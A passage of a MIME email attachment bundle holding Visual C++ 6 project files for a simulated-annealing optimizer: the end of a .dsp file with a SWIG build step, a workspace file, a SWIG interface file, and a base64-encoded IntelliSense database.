SOURCE=.\basisfile.cpp # End Source File # Begin Source File SOURCE=.\calculate.cpp # End Source File # Begin Source File SOURCE=.\evaluate.cpp # End Source File # Begin Source File SOURCE=.\safe_string.cpp # End Source File # Begin Source File SOURCE=.\simannealfile.cpp # End Source File # Begin Source File SOURCE=.\simannealfile_wrap.cpp # End Source File # Begin Source File SOURCE=.\variable.cpp # End Source File # End Group # Begin Group "Header-Dateien" # PROP Default_Filter "h;hpp;hxx;hm;inl" # Begin Source File SOURCE=.\basisfile.h # End Source File # Begin Source File SOURCE=.\calculate.h # End Source File # Begin Source File SOURCE=.\evaluate.h # End Source File # Begin Source File SOURCE=.\safe_string.h # End Source File # Begin Source File SOURCE=.\simanneal.h # End Source File # Begin Source File SOURCE=.\variable.h # End Source File # End Group # Begin Group "Ressourcendateien" # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" # End Group # Begin Source File SOURCE=.\simannealfile.i !IF "$(CFG)" == "simannealfile - Win32 Release" !ELSEIF "$(CFG)" == "simannealfile - Win32 Debug" # Begin Custom Build - SWIG Routine ProjDir=. InputPath=.\simannealfile.i InputName=simannealfile "$(ProjDir)\$(InputName)_wrap.cpp" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)" echo In order to function correctly, please ensure the following environment variables are correctly set: echo PYTHON_INCLUDE: %PYTHON_INCLUDE% echo PYTHON_LIB: %PYTHON_LIB% echo on swig -python -c++ -o $(ProjDir)\$(InputName)_wrap.cpp $(InputPath) # End Custom Build !ENDIF # End Source File # End Target # End Project --------------090302080802010307050504 Content-Type: text/plain; name="simannealfile.dsw" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="simannealfile.dsw" Microsoft Developer Studio Workspace File, Format Version 6.00 # WARNUNG: DIESE ARBEITSBEREICHSDATEI DARF NICHT BEARBEITET ODER GELÖSCHT WERDEN! ############################################################################### Project: "simannealfile"=.\simannealfile.dsp - Package Owner=<4> Package=<5> {{{ }}} Package=<4> {{{ }}} ############################################################################### Global: Package=<5> {{{ }}} Package=<3> {{{ }}} ############################################################################### --------------090302080802010307050504 Content-Type: text/plain; name="simannealfile.i" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simannealfile.i" %module simannealfile %{ #include "simanneal.h" #include "calculate.h" #include "evaluate.h" #include "safe_string.h" #include "calculate.h" %} %rename(cleany) simanneal_varlist::clean(); %rename(calc_4args) calculate(struct variable &,struct variablelist *,struct basisfile *,struct string *); %rename(cat_string) &string::cat(string &); %rename(copy_string) &string::copy(string &); %rename(copy_char) &string::copy(char *); %rename(copy_dl) string::copy(double ,long ); %rename(copy_i) string::copy(int ); %rename(ncopy_string_i) &string::ncopy(string &,int ); %rename(compose_str_str_char) &string::compose(string &,string &,char *); %rename(compose_str_char_char) &string::compose(string &,char *,char *); %rename(compose_str_d_char) &string::compose(string &,double ,char *); %rename(compose_struct_string) string::compare(struct string &); %rename(strcompspan_chari) string::string_complement_span(char *,int ); %rename(strcompspan_struct_stringi) string::string_complement_span(struct string &,int ); %rename(stringspan_struct_stringi) string::string_span(struct string &,int ); %rename(stringstring_struct_string_char) string::string_string(struct string &,char *); %rename(stringstring_structstring_structstring) string::string_string(struct string &,struct string &); %rename(filewrite_string_char) string::filewrite(string &,char *); %rename(strprint_structstring_char_char) strprint(struct string &,char *,char *); %rename(strprint_structstring_int_char_char) strprint(struct string &,int ,char *,char *); %rename(simulated_annealing_6args) simulated_annealing::simulated_annealing(struct variablelist *,struct basisfile *,struct evaluate *,int ,double ,struct string *); %rename(string_int_char) string::string(int ,char *); %rename(string_char_char) string::string(char *,char *); %rename(string_string_char) string::string(string &,char *); %include simanneal.h %include calculate.h %include evaluate.h %include safe_string.h %include calculate.h --------------090302080802010307050504 Content-Type: application/octet-stream; name="simannealfile.ncb" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="simannealfile.ncb" TWljcm9zb2Z0IEMvQysrIHByb2dyYW0gZGF0YWJhc2UgMi4wMA0KGkpHAAAABAAAAQBpALwB AADgDkYBZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA DIACEDgAg/9HAAD///////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////AAAAAAAAwPsAAJDD//////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ///////////////////////////eAgAADwAAEAAAAAA1ADUAVAIAAA8AACADAAAAHQAjAOcC AAAPAAAQAwAAAAoACgBDAQAADwAAIBQAAAAFABsA7gIAAA8AACAlAAAAJQA+ADMBAAASZgAg JQAAAAMAAwC7AgAAEQBAICUAAQAiACIAaAIAABAAQBAlAAIAHgAeAJECAAAQAEAQJQADAB8A HwDhAQAAEGlAECUABQAUABQAHAIAABE7QCAlAAYAGAAYAAgCAAARLkAgJQAHABcAFwDNAQAA EABAECUACQAPAA8AzQEAABAAQBAlAAwAEAAQAM0BAAAQAEAQJQAOABEAEQDNAQAAEABAECUA EAASABIAMQIAABF4QCAlABEAGQAZAKEBAAAQAEAQJQATAA0ADQA+AgAAEXNAICUAFAAaABoA 9AEAABFpQCAlABUAFgAWAEwBAAAQAEAQJQAWAAYABgBMAQAAEABAECUAGAAHAAcATAEAABAA QBAlABsACAAIAEwBAAAQAEAQJQAdAAkACQBMAQAAEABAECUAHwAKAAoAjQEAABAAQBAlACAA CwALADIDAAAQAEAQJQAiACoAKgAyAwAAEABAECUAIwApACkAbAMAABEAQCAlACQALQAtAEEE AAARAEAgJQAlADcANwBXAwAAEQBAICUAJgAsACwAtwMAABEAQCAlACcAMAAwAIUDAAARAEAg JQAoAC4ALgCcAwAAEQBAICUAKQAvAC8AiwQAABAAQBAlACsAPQA9AGMEAAARAEAgJQAsADoA OgAjBAAAEQBAICUALQA1ADUA+wIAABAAQBAlAC4AJgAmAA8EAAARAEAgJQAvADQANAD7AwAA EQBAICUAMAAzADMA5wMAABEAQCAlADEAMgAyANMDAAARAEAgJQAyADEAMQAWAwAAEABAECUA MwAnACcAAgEHAAIBCAACAAYAAgAYAAIBFwACABYAAgAVAAIAFAACABkAAgARAAIADwACAA4A AsANAALmDAACCwkAAoUTAAIACwACAAoAAgAQAAIAEgACASUAAgEqAAIAGgACABsAAgAeAAIA HAACACAAAgAhAAIAHwACwCkAAuYoAAILJwAChSYAAgAkAAIAHQACjyMAAgEiANMCAABfAQAA XwEAAPABAABgAQAA8AEAABUCAADcAQAAhgEAANwBAABwAQAAeQEAANwBAABqAQAA3AEAAGAB AADwAQAAtgEAAMEBAABLAgAAAwIAAF8BAABfAQAAhgEAAF8BAABwAQAAeQEAAF8BAABqAQAA XwEAAGABAABfAQAA3AEAAEYDAADcAQAA8AEAAFQEAADwAQAA5wIAAPABAADnAgAA8AEAAJ8E AAB1BAAANgQAAF8BAADTAgAALLowATwzXTwUAAAAYQgAAC9uYW1lcwAvbmNiL3RhcmdldGlu Zm8AL25jYi9tb2R1bGVpbmZvAC9uY2Ivc3RvcmVpbmZvAC9uY2IvaWluc3RkZWZzAC9uY2Iv bW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVx2YXJpYWJs ZS5oAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRF TVxiYXNpc2ZpbGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19P cHRpbWllcmVyXFRFTVxiYXNpc2ZpbGUuaAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9t YXJiZWl0XF9fT3B0aW1pZXJlclxURU1cY2FsY3VsYXRlLmNwcAAvbmNiL21vZHVsZS9DOlxB cmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cY2FsY3VsYXRlLmgAL25jYi9t b2R1bGUvQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXGV2YWx1YXRl LmNwcAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxU RU1cZXZhbHVhdGUuaAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0 aW1pZXJlclxURU1cc2FmZV9zdHJpbmcuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBs b21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzYWZlX3N0cmluZy5oAC9uY2IvbW9kdWxlL0M6 XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWwuY3BwAC9u Y2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1h bm5lYWwuaAAvbmNiL21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJl clxURU1cc2ltYW5uZWFsX3dyYXAuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21h cmJlaXRcX19PcHRpbWllcmVyXFRFTVx2YXJpYWJsZS5jcHAAL25jYi90YXJnZXQvc2ltYW5u ZWFsZmlsZSAtIFdpbjMyIERlYnVnAC9uY2IvdGFyZ2V0L3NpbWFubmVhbGZpbGUgLSBXaW4z MiBSZWxlYXNlAC9uY2IvdmVyc2lvbmluZm8AL25jYi9tb2R1bGUvQzpcQXJiZWl0X0RpcGxv bWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcdmFyaWFibGUuaAAvbmNi L21vZHVsZS9DOlxBcmJlaXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5u ZWFsZmlsZVxiYXNpc2ZpbGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJl aXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXGJhc2lzZmlsZS5oAC9uY2IvbW9k dWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxm aWxlXGNhbGN1bGF0ZS5jcHAAL25jYi9tb2R1bGUvQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxf X09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcY2FsY3VsYXRlLmgAL25jYi9tb2R1bGUv QzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVc ZXZhbHVhdGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRp bWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXGV2YWx1YXRlLmgAL25jYi9tb2R1bGUvQzpcQXJi ZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2FmZV9z dHJpbmcuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWll cmVyXFRFTVxzaW1hbm5lYWxmaWxlXHNhZmVfc3RyaW5nLmgAL25jYi9tb2R1bGUvQzpcQXJi ZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJcVEVNXHNpbWFubmVhbGZpbGVcc2ltYW5u ZWFsLmgAL25jYi9tb2R1bGUvQzpcQXJiZWl0X0RpcGxvbWFyYmVpdFxfX09wdGltaWVyZXJc VEVNXHNpbWFubmVhbGZpbGVcc2ltYW5uZWFsX3dyYXAuY3BwAC9uY2IvbW9kdWxlL0M6XEFy YmVpdF9EaXBsb21hcmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXHNpbWFu bmVhbGZpbGUuY3BwAC9uY2IvbW9kdWxlL0M6XEFyYmVpdF9EaXBsb21hcmJlaXRcX19PcHRp bWllcmVyXFRFTVxzaW3TAgAA0wIAAEsCAABfAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA7gIAAA87ABAAAAAApQClANsEAAASAgAgAAAAAAAAAABdBQAAEH8AIAAA AQAeACEAXQUAABB/ACAAAAMAIwAnAF0FAAAQ1gAgAAAFACkAKwDpBAAAEAsAIAAABwClAMgA vQUAABABACAAAAgAOABBAIYFAAAQfwAgAAAKADEANQD3BQAAEHgAIAAACwBDAFUACwYAABBz ACAAAA8AywBgAScFAAAQ1gAgAAASAFgAewAnBQAAEAAAIAAAFAB+AKIAEQUAABDWACAAABUA LQAvAM4FAAAQaQAgAAAWAA4AEADOBQAAEAEAIAAAGAASABwA3gUAABBpACAAABkAAgAHAKkF AAAQAQAgAAAaAAkACwCWBQAAAQEAIAAAHAB2AYIB8QUAAAEuACAAAB4AYgF0AV8BAABfAQAA ewUAAF8BAAByBQAA8AEAAPoEAADcAQAA3AEAAHIFAADwAQAA8AEAABwGAAD6BAAALAYAAPAB AABHBQAAPAUAAPABAAA8BQAAXwEAANwBAADcAQAAnAUAAF8BAABfAQAA3AEAAJwFAADwAQAA RgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 